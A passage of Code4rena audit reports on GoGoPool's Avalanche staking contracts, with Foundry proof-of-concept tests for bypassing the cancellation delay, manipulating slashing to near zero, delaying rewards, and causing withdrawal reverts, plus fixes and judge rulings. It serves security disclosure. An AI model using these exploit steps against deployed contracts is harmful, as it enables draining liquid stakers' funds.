https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L164function requireValidStateTransition(int256 minipoolIndex, MinipoolStatus to) private view { bytes32 statusKey = keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".status")); MinipoolStatus currentStatus = MinipoolStatus(getUint(statusKey)); ---------- } else if (currentStatus == MinipoolStatus.Withdrawable || currentStatus == MinipoolStatus.Error) { isValid = (to == MinipoolStatus.Finished || to == MinipoolStatus.Prelaunch); ---------- }
A NodeOp can stop the long term staking by calling either one of the bellow function before recreateMinipool
is called:
createMinipool
and then immediately call cancelMinipool
without waiting 5 days (See bug #211 "Anti griefing mechanism can be bypassed")withdrawMinipoolFunds
VS Code
It is already planned by the sponsor to call recordStakingEnd
and recreateMinipool
in the same transaction, this will block the NodeOp from calling any function in between.
If the protocol decides to call the above functions in separate transaction, make sure to add a flag indicating that the minipool staking will not end in the next cycle and add a check in withdrawMinipoolFunds
and createMinipool
to revert if the flag is true.
require(StakingInProgress == true, "Long term staking still in progress");
#0 - 0xju1ie
2023-01-18T14:15:56Z
#1 - c4-judge
2023-02-03T12:42:12Z
GalloDaSballo marked the issue as duplicate of #569
#2 - c4-judge
2023-02-08T20:15:47Z
GalloDaSballo marked the issue as satisfactory
#3 - c4-judge
2023-02-09T08:45:54Z
GalloDaSballo changed the severity to QA (Quality Assurance)
#4 - Simon-Busch
2023-02-09T12:35:39Z
Changed the severity back to M as requested by @GalloDaSballo
π Selected for report: caventa
Also found by: 0xdeadbeef0x, Allarious, Franfran, __141345__, betweenETHlines, hansfriese, mert_eren, stealthyz, unforgiven, wagmi
118.8832 USDC - $118.88
The protocol has setup a mechanism of delaying cancelations of minipools by 5 days to prevent griefing. More info from the protocol docs can be found here: https://docs.gogopool.com/design/minipooldesign#canceled
If a node operator already has an active node for more then 5 days, any additional nodes will be able to cancel the minipool instantaneously after creation. Therefore bypassing the anti griefing mechanism.
When creating a minipool, rewardsStartTime
is set to track the minipool creation only if its not already set to a non-zero value:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L226
function createMinipool( address nodeID, uint256 duration, uint256 delegationFee, uint256 avaxAssignmentRequest ) external payable whenNotPaused { --------- if (staking.getRewardsStartTime(msg.sender) == 0) { staking.setRewardsStartTime(msg.sender, block.timestamp); } --------- }
In order to cancel a minipool cancelMinipool
needs to be called:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L273
function cancelMinipool(address nodeID) external nonReentrant { ------ if (block.timestamp - staking.getRewardsStartTime(msg.sender) < dao.getMinipoolCancelMoratoriumSeconds()) { revert CancellationTooEarly(); } _cancelMinipoolAndReturnFunds(nodeID, index); }
rewardsStartTime
- timestamp of first minipool creation of the node operatordao.getMinipoolCancelMoratoriumSeconds
- amount of time in seconds a node operator needs to wait before canceling the minipool. Currently set to 5 days.As can be seen above, if the time since starting the minipool is less than dao.getMinipoolCancelMoratoriumSeconds
the transaction will revert.
The function getRewardsStartTime(addr)
is not nodeID
specific, it is address specific.
If the same msg.sender
has an active node that has not been withdrawn yet, the msg.sender
will be able to create and cancel a minipool without waiting 5 days.
The POC shows how a node operator can cancel a minipool right after creation.
Add the following test to MinipoolManager.t.sol
:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/MinipoolManager.t.sol#L175
function testGriefingPossible() public { uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint128 ggpStakeAmt = 200 ether; // fund ggAVAX address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT); vm.prank(lilly); ggAVAX.depositAVAX{value: MAX_AMT}(); assertEq(lilly.balance, 0); vm.startPrank(nodeOp); // NodeOp stakes GGP ggp.approve(address(staking), ggpStakeAmt); staking.stakeGGP(ggpStakeAmt); // Create first minipool for nodeOp MinipoolManager.Minipool memory nodeOpMp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration); skip(5 days); // skip 5 days // Create second minipool for nodeOp MinipoolManager.Minipool memory nodeOpMp2 = createMinipool(depositAmt, avaxAssignmentRequest, duration); // cancel second minipool right away without waiting 5 days minipoolMgr.cancelMinipool(nodeOpMp2.nodeID); vm.stopPrank(); }
To run the POC, execute:
forge test -m testGriefingPossible -v
Expected output:
Running 1 test for test/unit/MinipoolManager.t.sol:MinipoolManagerTest [PASS] testGriefingPossible() (gas: 1418501) Test result: ok. 1 passed; 0 failed; finished in 8.71s
VS Code, Foundry
staking.getRewardsStartTime(addr)
and staking.setRewardsStartTime(addr)
should also be nodeID
specific.
Recommended change to:
staking.getRewardsStartTime(addr, nodeID)
and staking.setRewardsStartTime(addr, nodeID)
#0 - c4-judge
2023-01-09T12:40:21Z
GalloDaSballo marked the issue as duplicate of #519
#1 - c4-judge
2023-02-08T10:04:42Z
GalloDaSballo marked the issue as satisfactory
π Selected for report: immeas
Also found by: 0x73696d616f, 0xbepresent, 0xdeadbeef0x, V_B, unforgiven
369.1045 USDC - $369.10
Node validators can manipulate the slashing mechanism to slash only 0.000003170979198376 AVAX (0.00003691 USD) from GGP stake.
A hacker can create multiple nodes and use all the ggAVAX
liquidity without actually finishing the validation period.
Liquid stakers will not be compensated for the loss.
Hacker will pay less then 1 dollar of GGP.
When minipools are created/updated through createMinipool
there is no check that the duration specified by the node operator is less then the minimum required validation period (14 days).
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L196
function createMinipool( address nodeID, uint256 duration, uint256 delegationFee, uint256 avaxAssignmentRequest ) external payable whenNotPaused { --------- setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".duration")), duration); --------- }
When no rewards are received after the validation period, slash
is called to slash staked GGP for compensation of the ggAVAX liquid stakers.
slash
:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L670
function slash(int256 index) private { ---------- uint256 duration = getUint(keccak256(abi.encodePacked("minipool.item", index, ".duration"))); uint256 avaxLiquidStakerAmt = getUint(keccak256(abi.encodePacked("minipool.item", index, ".avaxLiquidStakerAmt"))); uint256 expectedAVAXRewardsAmt = getExpectedAVAXRewardsAmt(duration, avaxLiquidStakerAmt); uint256 slashGGPAmt = calculateGGPSlashAmt(expectedAVAXRewardsAmt); ---------- staking.slashGGP(owner, slashGGPAmt); }
As can be seen above, the duration
set by the node operator is used together with the avaxLiquidStakerAmt
(1000 AVAX) to calculate the expected amount of rewards in order to slash proportionately.
The rewards amount is calculated in getExpectedAVAXRewardsAmt(duration, avaxLiquidStakerAmt)
:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L557
function getExpectedAVAXRewardsAmt(uint256 duration, uint256 avaxAmt) public view returns (uint256) { ProtocolDAO dao = ProtocolDAO(getContractAddress("ProtocolDAO")); uint256 rate = dao.getExpectedAVAXRewardsRate(); return (avaxAmt.mulWadDown(rate) * duration) / 365 days; }
The rate
is set to 0.1 AVAX in the initialization of the dao: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/ProtocolDAO.sol#L51
Therefore, if the node operator sets 1
as duration
the function getExpectedAVAXRewardsAmt
will return 3170979198376
WEI of AVAX.
Consider the following scenario:
rialto
calls claimAndInitiateStaking
to launch the minipool (Node-2222)claimAndInitiateStaking
and:
4.1 NodeOp calls cancelMinipool
- This is possible without waiting 5 days because of step #1 (See other submitted bug #211: "Anti griefing mechanism can be bypassed"). It is also possible to execute this step without the bug by waiting 5 days.
4.2 NodeOp calls createMinipool
with duration set to 1
claimAndInitiateStaking
gets executed and staked.recordStakingEnd
will be called which will call the slash
function as no rewards are set.The POC will demonstrate the above scenario
Add the following test to MinipoolManager.t.sol
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/MinipoolManager.t.sol#L175
function testManipulateSlashing() public { uint256 duration = 2 weeks; uint256 depositAmt = 1000 ether; uint256 avaxAssignmentRequest = 1000 ether; uint256 validationAmt = depositAmt + avaxAssignmentRequest; uint128 ggpStakeAmt = 100 ether; // Create a legitimate node dealGGP(nodeOp, ggpStakeAmt); vm.startPrank(nodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp0 = createMinipool(depositAmt, avaxAssignmentRequest, duration); vm.stopPrank(); skip(5); // Fund the ggAVAX address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT); vm.prank(liqStaker1); ggAVAX.depositAVAX{value: MAX_AMT}(); // Create a fake minipool dealGGP(nodeOp, ggpStakeAmt); vm.startPrank(nodeOp); ggp.approve(address(staking), MAX_AMT); staking.stakeGGP(ggpStakeAmt); MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration); // Front run claimAndInitiateStaking and call `cancelMinipool` and `createMinipool` with minipoolMgr.cancelMinipool(mp1.nodeID); minipoolMgr.createMinipool{value: depositAmt}(mp1.nodeID, 1, 0.02 ether, avaxAssignmentRequest); vm.stopPrank(); // claimAndInitiateStaking is executed and staking is recorded vm.startPrank(address(rialto)); minipoolMgr.claimAndInitiateStaking(mp1.nodeID); minipoolMgr.recordStakingStart(mp1.nodeID, keccak256("txid"), block.timestamp); // Staking has ended with no rewards, slashing happens here skip(duration); minipoolMgr.recordStakingEnd{value: validationAmt}(mp1.nodeID, block.timestamp, 0 ether); vm.stopPrank(); // Validate that only 0.000003170979198376 AVAX is slashed assertEq(minipoolMgr.getExpectedAVAXRewardsAmt(1, avaxAssignmentRequest), 0.000003170979198376 ether); assertEq(staking.getGGPStake(nodeOp), (ggpStakeAmt*2) - 0.000003170979198376 ether); }
To run the POC, execute:
forge test -m testManipulateSlashing -v
Expected output:
Running 1 test for test/unit/MinipoolManager.t.sol:MinipoolManagerTest [PASS] testManipulateSlashing() (gas: 1981662) Test result: ok. 1 passed; 0 failed; finished in 7.08ms
VS Code, Foundry
In createMinipool
set a minimum requirement of duration
to 14 days.
Additionally, if a NodeID already exists in createMinipool
, make sure the duration is not changed. If a node operator wishes to change the duration of his NodeID, he should generate a new NodeID.
#0 - c4-judge
2023-01-09T20:46:10Z
GalloDaSballo marked the issue as duplicate of #694
#1 - c4-judge
2023-02-02T12:17:27Z
GalloDaSballo marked the issue as not a duplicate
#2 - c4-judge
2023-02-02T12:39:40Z
GalloDaSballo marked the issue as duplicate of #492
#3 - c4-judge
2023-02-02T12:39:53Z
GalloDaSballo changed the severity to 2 (Med Risk)
#4 - c4-judge
2023-02-08T20:08:01Z
GalloDaSballo marked the issue as satisfactory
π Selected for report: 0xbepresent
Also found by: 0xdeadbeef0x, Breeje, Franfran, IllIllI, Matin, Rolezn, SmartSek, btk, ck, datapunk, fs0c, nadin, rvierdiiev, unforgiven
57.1995 USDC - $57.20
Depositors need to wait double the rewardsCycle
to start to receive streaming rewards (28 days) and 42 days to see full rewards for a specific stake.
This is true if one of the following is true:
syncRewards
was never called).syncRewards
after a full cycle has passed.syncRewards
ggAVAX
is intended to stream rewards to depositors. Currently, the rewards cycle is set to 14 days.
Depositors will expect to start receiving rewards 14 days after depositing. (assuming a validator can use their funds to stake)
The issue is that syncRewards
can be called by anyone and updates the cycle even if no rewards were added.
Note that rewardsCycleEnd
is not really 14 days. It can be anywhere between 0-14 days, depending on the timestamp when calling syncRewards
.
The calculations of rewardsCycleEnd
is as follows:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/TokenggAVAX.sol#L102
function syncRewards() public { ---- uint32 nextRewardsCycleEnd = ((timestamp + rewardsCycleLength) / rewardsCycleLength) * rewardsCycleLength; ----- }
Day 1:
ggAVAX
Day 14:
Rialto
deposits rewardsDay 15:
Day 28:
The POC will demonstrate the above scenario.
Add the following to TokenggAVAX.t.sol
:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/TokenggAVAX.t.sol#L108
function testRewardsAfter28Days() public { uint256 depositAmount = 2000 ether; uint256 totalStakedAmount = 2000 ether; uint256 rewardsAmount = 100 ether; // Bob deposits 2000 AVAX vm.deal(bob, depositAmount); vm.prank(bob); ggAVAX.depositAVAX{value: depositAmount}(); // 1000 tokens are withdrawn for staking vm.prank(address(rialto)); minipoolMgr.claimAndInitiateStaking(nodeID); // staking starts vm.deal(address(rialto), address(rialto).balance + rewardsAmount); vm.startPrank(address(rialto)); bytes32 txID = keccak256("txid"); minipoolMgr.recordStakingStart(nodeID, txID, block.timestamp); int256 idx = minipoolMgr.getIndexOf(nodeID); MinipoolManager.Minipool memory mp = minipoolMgr.getMinipool(idx); uint256 endTime = block.timestamp + mp.duration; vm.stopPrank(); // skip 14 days skip(14 days); // syncRewards is called ggAVAX.syncRewards(); // after 14 days, AVAX + rewards is returned to ggAVAX vm.prank(address(rialto)); minipoolMgr.recordStakingEnd{value: totalStakedAmount + rewardsAmount}(nodeID, endTime, rewardsAmount); // Bobs max withdraw after 15 days is without rewards skip(1 days); uint256 maxWithdrawAssets = ggAVAX.maxWithdraw(bob); assertEq(maxWithdrawAssets, depositAmount); // skip to day 28 days and call sync rewards skip(13 days); ggAVAX.syncRewards(); //skip 12 seconds to see rewards streaming skip(12); // Bobs max withdraw after 28 days is with rewards maxWithdrawAssets = ggAVAX.maxWithdraw(bob); assertTrue(maxWithdrawAssets > depositAmount); }
To run the POC execute:
forge test -m testRewardsAfter28Days -v
Expected output:
Running 1 test for test/unit/TokenggAVAX.t.sol:TokenggAVAXTest [PASS] testRewardsAfter28Days() (gas: 654998) Test result: ok. 1 passed; 0 failed; finished in 7.97s
VS Code, Foundry
Rewards cycle should not be updated if no rewards exists. Add a check to validate that lastRewardsAmt_ != nextRewardsAmt and revert if they are the same. Example:
require(lastRewardsAmt_ != nextRewardsAmt, "Nothing to update");
#0 - emersoncloud
2023-01-19T10:24:56Z
This is all working as designed.
Rewards will start streaming rewards whenever syncRewards
is called after some amount of rewards have been deposited.
Calling syncRewards right before a deposit is unlucky for Bob, but not a failing of the protocol.
There are other reports calling out issues with a delay in syncRewards
which we intend to address. But I don't think the fix looks like not allowing a syncRewards
call if there's no reward amount.
#1 - c4-judge
2023-01-31T12:05:34Z
GalloDaSballo marked the issue as duplicate of #317
#2 - GalloDaSballo
2023-01-31T12:06:20Z
While the content can be improved, I think this is substantially a dup of 317, and am awarding as full dup
#3 - c4-judge
2023-02-08T19:30:24Z
GalloDaSballo marked the issue as satisfactory
π Selected for report: 0xbepresent
Also found by: 0xdeadbeef0x, Breeje, Franfran, IllIllI, Matin, Rolezn, SmartSek, btk, ck, datapunk, fs0c, nadin, rvierdiiev, unforgiven
57.1995 USDC - $57.20
Users depositing into ggAVAX
are not able to withdraw all their funds and rewards until rewards are synced and accounting is updated.
The funds are frozen even if funds reside in the pool.
(Note: This behavior is dependent on the value of totalReleasedAssets
to be less then the amount returned in totalAssets
)
When a user wants to withdraw his funds and rewards, beforeWithdraw
function is called.
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/TokenggAVAX.sol#L241
function beforeWithdraw( uint256 amount, uint256 /* shares */ ) internal override { totalReleasedAssets -= amount; }
As can be seen above amount
is reduced from totalReleasedAssets
.
If amount
is larger than totalReleasedAssets
the transaction will revert and the user will not be able to withdraw.
The amount
can be larger than totalReleasedAssets
.
Here is an example:
maxWithdraw
is called to calculate the amount
of withdrawable assets.maxWithdraw
uses convertToAssets
to convert shares to assets. The conversion is done by using totalAssets()
.totalAssets()
returns the current totalReleasedAssets
plus rewards earned from previous rewards cycle.amount
will be larger than totalReleasedAssets
.function totalAssets() public view override returns (uint256) { ----- return totalReleasedAssets_ + unlockedRewards; }
The user has to wait until totalReleasedAssets
is updated to include the rewards in the next syncRewards
(14 days).
function syncRewards() public { uint32 timestamp = block.timestamp.safeCastTo32(); if (timestamp < rewardsCycleEnd) { revert SyncError(); } ------ totalReleasedAssets = totalReleasedAssets_ + lastRewardsAmt_; emit NewRewardsCycle(nextRewardsCycleEnd, nextRewardsAmt); }
Consider the following scenario:
ggAVAX
.ggAVAX
.syncRewards
is called to distribute the rewards.totalReleasedAssets
is not updated with rewards because current cycle did not end.
5.2. Bobs withdraw is reverted due to underflow in beforeWithdraw
.totalReleasedAssets
with rewards contract.Consider the following scenario:
ggAVAX
.ggAVAX
.syncRewards
is called to distribute the rewards (100 AVAX)ggAVAX
.
5.2. Bob withdraws 2100 AVAX.syncRewards
function is called again.The POC will demonstrate the first scenario mentioned above
Add the following to TokenggAVAX.t.sol
:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/TokenggAVAX.t.sol#L108
function testUnderflowRevert() public { uint256 depositAmount = 2000 ether; uint256 totalStakedAmount = 2000 ether; uint256 rewardsAmount = 100 ether; // Bob deposits 2000 AVAX vm.deal(bob, depositAmount); vm.prank(bob); ggAVAX.depositAVAX{value: depositAmount}(); // 1000 tokens are withdrawn for staking vm.prank(address(rialto)); minipoolMgr.claimAndInitiateStaking(nodeID); // after 14 days, AVAX + rewards is returned to ggAVAX vm.deal(address(rialto), address(rialto).balance + rewardsAmount); vm.startPrank(address(rialto)); bytes32 txID = keccak256("txid"); minipoolMgr.recordStakingStart(nodeID, txID, block.timestamp); int256 idx = minipoolMgr.getIndexOf(nodeID); MinipoolManager.Minipool memory mp = minipoolMgr.getMinipool(idx); uint256 endTime = block.timestamp + mp.duration; skip(mp.duration); minipoolMgr.recordStakingEnd{value: totalStakedAmount + rewardsAmount}(nodeID, endTime, rewardsAmount); vm.stopPrank(); // Sync rewards to start streaming rewards ggAVAX.syncRewards(); // Skip 1 day skip(1 days); // Bob withdraws all his assets including earned rewards // Validate that the transaction will revert uint256 maxWithdrawAssets = ggAVAX.maxWithdraw(bob); vm.startPrank(bob); vm.expectRevert(); ggAVAX.withdrawAVAX(maxWithdrawAssets); vm.stopPrank(); }
To run the POC execute:
forge test -m testUnderflowRevert -v
Expected output:
Running 1 test for test/unit/TokenggAVAX.t.sol:TokenggAVAXTest [PASS] testUnderflowRevert() (gas: 649787) Test result: ok. 1 passed; 0 failed; finished in 7.98s
VS Code, Foundry
In beforeWithdraw
check if the amount to withdraw is larger than totalReleasedAssets
. If so, update totalReleasedAssets
to include the last rewards.
Additionally, it is possible to cap the amount returned in maxWithdraw
to totalReleasedAssets
if totalReleasedAssets
is smaller then the assets of the user.
#0 - c4-judge
2023-01-08T17:01:15Z
GalloDaSballo marked the issue as duplicate of #317
#1 - c4-judge
2023-02-08T19:31:44Z
GalloDaSballo marked the issue as satisfactory